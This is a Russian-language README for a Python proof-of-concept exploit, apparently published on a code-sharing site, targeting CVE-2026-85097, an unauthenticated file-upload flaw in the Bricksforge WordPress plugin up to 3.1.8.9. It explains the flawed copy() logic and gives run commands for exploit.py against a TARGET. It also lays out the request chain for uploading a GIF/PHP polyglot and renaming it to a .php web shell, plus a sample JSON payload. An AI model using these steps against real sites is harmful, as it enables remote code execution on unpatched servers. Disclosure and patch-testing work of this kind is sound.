Python PoC, эксплуатирующий CVE-2026-85097 — неаутентифицированную загрузку файлов в Bricksforge <= 3.1.8.9, используя GIF/PHP-полиглот и несоответствие URL для достижения RCE.
Bricksforge <= 3.1.8.9 — неаутентифицированная загрузка файлов → PHP RCE.
temporaryFileUploads.url берётся от клиента при отправке формы. MIME проверяется при первой загрузке, затем copy() использует basename($url) в качестве имени назначения.
| CVE | CVE-2026-85097 |
| CWE | CWE-434 |
| CVSS | 9.8 / 10.0 |
| Затронуто | Bricksforge <= 3.1.8.9 |
| Исправлено | 3.1.8.10, 4.0.1 |
| Аутентификация | отсутствует |
pip3 install requests
python3 exploit.py --url http://TARGET
python3 exploit.py --url https://TARGET --insecure
python3 exploit.py --url http://TARGET --form-id FORM --post-id 12 --field-id file
Требуется активная Pro Form. Поле загрузки необязательно.
POST /wp-admin/admin-ajax.php action=bricksforge_regenerate_noncePOST /wp-json/bricksforge/v1/form_file_upload — полиглот GIF/PHP (MIME в порядке)POST /wp-json/bricksforge/v1/form_submit — file = .gif, url = .phpGET /wp-content/uploads/YYYY/MM/*.php — тело ответа CVE-2026-85097-OK{
"temporaryFileUploads": [
{
"field": "form-field-file",
"file": {
"file": "/var/www/html/wp-content/uploads/bricksforge/tmp/xxxx.gif",
"url": "http://TARGET/wp-content/uploads/bricksforge/tmp/pwn.php",
"type": "image/gif"
}
}
]
}